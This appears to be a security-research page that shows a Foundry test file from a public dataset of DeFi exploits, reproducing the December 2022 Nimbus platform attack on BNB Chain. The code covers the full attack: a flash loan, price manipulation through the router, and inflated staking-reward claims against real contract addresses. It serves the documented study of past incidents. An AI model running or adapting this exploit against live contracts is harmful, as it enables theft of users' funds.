Public reproduction file
src/test/2022-12/Nmbplatform_exp.sol
Public reproduction file for dataset entry - Nmbplatform.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @Analysis8// https://twitter.com/BlockSecTeam/status/16028770481247354899// @TX10// https://bscscan.com/tx/0x7d2d8d2cda2d81529e0e0af90c4bfb39b6e74fa363c60b031d719dd9d153b01211// https://bscscan.com/tx/0x42f56d3e86fb47e1edffa59222b33b73e7407d4b5bb05e23b83cb1771790f6c113interface NimbusBNB is IERC20 {14 function deposit() external payable;15 function withdraw(16 uint256 wad17 ) external;18}20interface StakingRewardFixedAPY is IERC20 {21 function stake(22 uint256 amount23 ) external;24 function getReward() external;25 function withdraw() external;26 function earned(27 address account28 ) external view returns (uint256);29}31interface LockStakingRewardFixedAPY {32 function stake(33 uint256 amount34 ) external;35 function getReward() external;36 function earned(37 address account38 ) external view returns (uint256);39}41contract ContractTest is Test {42 IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);43 IERC20 GNIMB = IERC20(0x99C486b908434Ae4adF567e9990A929854d0c955);44 IERC20 NIMB = IERC20(0xCb492C701F7fe71bC9C4B703b84B0Da933fF26bB);45 NimbusBNB NBU_WBNB = NimbusBNB(0xA2CA18FC541B7B101c64E64bBc2834B05066248b);46 Uni_Router_V2 NimbusRouter = Uni_Router_V2(0x2C6cF65f3cD32a9Be1822855AbF2321F6F8f6b24);47 Uni_Pair_V2 Pair = Uni_Pair_V2(0xaCAac9311b0096E04Dfe96b6D87dec867d3883Dc);48 StakingRewardFixedAPY stakingReward1 = StakingRewardFixedAPY(0x3aA2B9de4ce397d93E11699C3f07B769b210bBD5);49 LockStakingRewardFixedAPY stakingReward2 = LockStakingRewardFixedAPY(0x706065716569f20971F9CF8c66D092824c284584);50 LockStakingRewardFixedAPY stakingReward3 = LockStakingRewardFixedAPY(0xdEF57A7722D4411726ff40700Eb7b6876BEE7ECB);51 address dodo = 0x0fe261aeE0d1C4DFdDee4102E82Dd425999065F4;52 uint256 flashLoanAmount;53 uint256 flashSwapAmount;54 User1 public user1;55 User2 public user2;56 User3 public user3;58 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);60 function setUp() public {61 cheats.createSelectFork("bsc", 23_639_507);62 }64 function testExploit() public {65 user1 = new User1();66 user2 = new User2();67 user3 = new User3();68 NBU_WBNB.deposit{value: 20 ether}();69 NBU_WBNB.transfer(address(user1), 16 ether);70 NBU_WBNB.transfer(address(user2), 2 ether);71 NBU_WBNB.transfer(address(user3), 2 ether);72 user1.stake();73 user2.stake();74 user3.stake();75 cheats.warp(block.timestamp + 8 * 24 * 60 * 60);76 flashLoanAmount = WBNB.balanceOf(dodo);77 DVM(dodo).flashLoan(flashLoanAmount, 0, address(this), new bytes(1));79 emit log_named_decimal_uint(80 "Attacker WBNB balance after exploit", WBNB.balanceOf(address(this)), WBNB.decimals()81 );82 }84 function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {85 flashSwapAmount = WBNB.balanceOf(address(Pair)) - 1e18;86 Pair.swap(flashSwapAmount, 0, address(this), new bytes(1));87 WBNB.transfer(dodo, flashLoanAmount);88 }90 function BiswapCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {91 payable(address(0)).transfer(address(this).balance);92 WBNB.withdraw(WBNB.balanceOf(address(this)));93 NBU_WBNB.deposit{value: address(this).balance}();94 NBU_WBNB.approve(address(NimbusRouter), type(uint256).max);95 address[] memory path = new address[](2);96 path[0] = address(NBU_WBNB);97 path[1] = address(NIMB);98 NimbusRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(99 NBU_WBNB.balanceOf(address(this)), 0, path, address(this), block.timestamp100 ); // Reward Price Manipulation101 user1.getReward();102 // GNIMB.transfer(address(stakingReward1), stakingReward1.balanceOf(address(user1)) - GNIMB.balanceOf(address(stakingReward1)));103 // user1.withdraw();104 GNIMB.transfer(105 address(stakingReward2), stakingReward2.earned(address(user2)) - GNIMB.balanceOf(address(stakingReward2))106 );107 user2.getReward();108 GNIMB.transfer(109 address(stakingReward3), stakingReward3.earned(address(user3)) - GNIMB.balanceOf(address(stakingReward3))110 );111 user3.getReward();112 NIMB.approve(address(NimbusRouter), type(uint256).max);113 path[0] = address(NIMB);114 path[1] = address(NBU_WBNB);115 NimbusRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(116 NIMB.balanceOf(address(this)), 0, path, address(this), block.timestamp117 );118 GNIMBToNBU_WBNB();119 NBU_WBNB.withdraw(NBU_WBNB.balanceOf(address(this)));120 address(WBNB).call{value: address(this).balance}("");121 WBNB.transfer(address(Pair), flashSwapAmount * 1000 / 998 + 1000);122 }124 function GNIMBToNBU_WBNB() internal {125 GNIMB.approve(address(NimbusRouter), type(uint256).max);126 address[] memory path = new address[](2);127 path[0] = address(GNIMB);128 path[1] = address(NBU_WBNB);129 NimbusRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(130 GNIMB.balanceOf(address(this)), 0, path, address(this), block.timestamp131 );132 }134 receive() external payable {}135}137contract User1 is Test {138 address Owner;139 IERC20 GNIMB = IERC20(0x99C486b908434Ae4adF567e9990A929854d0c955);140 NimbusBNB NBU_WBNB = NimbusBNB(0xA2CA18FC541B7B101c64E64bBc2834B05066248b);141 Uni_Router_V2 NimbusRouter = Uni_Router_V2(0x2C6cF65f3cD32a9Be1822855AbF2321F6F8f6b24);142 StakingRewardFixedAPY stakingReward1 = StakingRewardFixedAPY(0x3aA2B9de4ce397d93E11699C3f07B769b210bBD5);144 constructor() {145 Owner = msg.sender;146 }148 function stake() external {149 NBU_WBNB.approve(address(NimbusRouter), type(uint256).max);150 address[] memory path = new address[](2);151 path[0] = address(NBU_WBNB);152 path[1] = address(GNIMB);153 NimbusRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(154 NBU_WBNB.balanceOf(address(this)), 0, path, address(this), block.timestamp155 );156 GNIMB.approve(address(stakingReward1), type(uint256).max);157 stakingReward1.stake(GNIMB.balanceOf(address(this)));158 }160 function getReward() external {161 deal(address(GNIMB), address(stakingReward1), 13_855_114 * 1e18);162 stakingReward1.getReward();163 GNIMB.transfer(Owner, GNIMB.balanceOf(address(this)));164 }166 // function withdraw() external{167 // stakingReward1.withdraw();168 // GNIMB.transfer(Owner, GNIMB.balanceOf(address(this)));169 // }170}172contract User2 {173 address Owner;174 IERC20 GNIMB = IERC20(0x99C486b908434Ae4adF567e9990A929854d0c955);175 NimbusBNB NBU_WBNB = NimbusBNB(0xA2CA18FC541B7B101c64E64bBc2834B05066248b);176 Uni_Router_V2 NimbusRouter = Uni_Router_V2(0x2C6cF65f3cD32a9Be1822855AbF2321F6F8f6b24);177 LockStakingRewardFixedAPY stakingReward2 = LockStakingRewardFixedAPY(0x706065716569f20971F9CF8c66D092824c284584);179 constructor() {180 Owner = msg.sender;181 }183 function stake() external {184 NBU_WBNB.approve(address(NimbusRouter), type(uint256).max);185 address[] memory path = new address[](2);186 path[0] = address(NBU_WBNB);187 path[1] = address(GNIMB);188 NimbusRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(189 NBU_WBNB.balanceOf(address(this)), 0, path, address(this), block.timestamp190 );191 GNIMB.approve(address(stakingReward2), type(uint256).max);192 stakingReward2.stake(GNIMB.balanceOf(address(this)));193 }195 function getReward() external {196 stakingReward2.getReward();197 GNIMB.transfer(Owner, GNIMB.balanceOf(address(this)));198 }199}201contract User3 {202 address Owner;203 IERC20 GNIMB = IERC20(0x99C486b908434Ae4adF567e9990A929854d0c955);204 NimbusBNB NBU_WBNB = NimbusBNB(0xA2CA18FC541B7B101c64E64bBc2834B05066248b);205 Uni_Router_V2 NimbusRouter = Uni_Router_V2(0x2C6cF65f3cD32a9Be1822855AbF2321F6F8f6b24);206 LockStakingRewardFixedAPY stakingReward3 = LockStakingRewardFixedAPY(0xdEF57A7722D4411726ff40700Eb7b6876BEE7ECB);208 constructor() {209 Owner = msg.sender;210 }212 function stake() external {213 NBU_WBNB.approve(address(NimbusRouter), type(uint256).max);214 address[] memory path = new address[](2);215 path[0] = address(NBU_WBNB);216 path[1] = address(GNIMB);217 NimbusRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(218 NBU_WBNB.balanceOf(address(this)), 0, path, address(this), block.timestamp219 );220 GNIMB.approve(address(stakingReward3), type(uint256).max);221 stakingReward3.stake(GNIMB.balanceOf(address(this)));222 }224 function getReward() external {225 stakingReward3.getReward();226 GNIMB.transfer(Owner, GNIMB.balanceOf(address(this)));227 }228}Analysis
Dataset entry
Public Foundry test for “- Nmbplatform” (2022-12-14). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
17 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2022-12/AES_exp.solSame month in the dataset · 69 lines
- src/test/2022-12/APC_exp.solSame month in the dataset · 68 lines
- src/test/2022-12/BBOX_exp.solSame month in the dataset · 70 lines
- src/test/2022-12/BGLD_exp.solSame month in the dataset · 113 lines
- src/test/2022-12/Defrost_exp.solSame month in the dataset · 62 lines
- src/test/2022-12/DFS_exp.solSame month in the dataset · 104 lines
- src/test/2022-12/ElasticSwap_exp.solSame month in the dataset · 95 lines
- src/test/2022-12/FPR_exp.solSame month in the dataset · 74 lines
- src/test/2022-12/JAY_exp.solSame month in the dataset · 120 lines
- src/test/2022-12/Lodestar_exp.solSame month in the dataset · 263 lines
- src/test/2022-12/MEVbot_0x28d9_exp.solSame month in the dataset · 44 lines
- src/test/2022-12/MUMUG_exp.solSame month in the dataset · 80 lines
- src/test/2022-12/NovaExchange_exp.solSame month in the dataset · 67 lines
- src/test/2022-12/Overnight_exp.solSame month in the dataset · 285 lines
- src/test/2022-12/RFB_exp.solSame month in the dataset · 77 lines
- src/test/2022-12/Rubic_exp.solSame month in the dataset · 137 lines
- src/test/2022-12/TIFI_exp.solSame month in the dataset · 67 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
File record
- Name
- Nmbplatform
- Path
- src/test/2022-12/Nmbplatform_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 42fbb5989ef7ba76f3b12f5de2b88bbeecc0bd91
- Language
- Solidity
- Size
- 229 lines
- Date
- 2022-12-14
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2022-12/Nmbplatform_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 42fbb5989ef7ba76f3b12f5de2b88bbeecc0bd91, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.